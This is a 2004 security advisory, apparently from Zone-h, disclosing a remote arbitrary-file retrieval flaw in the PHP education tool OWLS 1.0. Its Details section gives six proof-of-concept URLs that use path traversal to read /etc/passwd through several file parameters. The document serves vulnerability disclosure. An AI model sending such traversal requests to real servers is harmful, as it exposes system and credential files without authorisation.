From: ZetaLabs <zetalabs(at)zone-h.org>

ZH2004-08SA (security advisory): OWLS 1.0 Remote arbitrary files retrieving

Discovered: 05 january 2004
Vendor contacted: 07 january 2004
Published: 18 february 2004
Name: OWLS
Affected Systems: 1.0
Issue: Remote file retrieving
Author: G00db0y from Zone-h Security Labs - g00db0y@zone-h.org - zetalabs@zone-h.org
Vendor: http://www.foolsworkshop.com/owls/

Description
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Zone-h Security Team has discovered a flaw in OWLS 1.0. There is a vulnerability in the current version of OWLS that allows an attacker to retrieve arbitrary files from the webserver with its priviledges. "OWLS is a web-based environment for instructors of language to easily create exercises, readings, glossaries, and present media for their students. Once installed on a web server that supports PHP, instructors can create materials or upload media for presentation to their students through a simple form based interface"

Details
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It's possibile for a remote attacker to retrieve any file from a webserver. Multiple files are affected with this problem.

For example try this:

http://address/owls/glossaries/index.php?file=/etc/passwd

http://address/owls/multiplechoice/index.php?file=../..
/../../../../../../../../../../../../../etc/passwd&view=print

http://address/owls/readings/index.php?filename=/etc/passwd

http://address/owls/multiplechoice/resultsignore.php?filename=/etc/passwd

http://address/owls/workshop/glossary.php?editfile=../
../../../../../../../../../../../../../../etc/passwd

http://address/owls/workshop/newmultiplechoice.php?edit=1&;
editfile=../../../../../../../../../../../../../../../etc/passwd

Solution:
*********

The vendor has been contacted and a patch was not yet produced.

G00db0y from Zone-h Security Labs - g00db0y@zone-h.org - zetalabs@zone-h.org

http://www.zone-h.org/en/advisories/read/id=3973/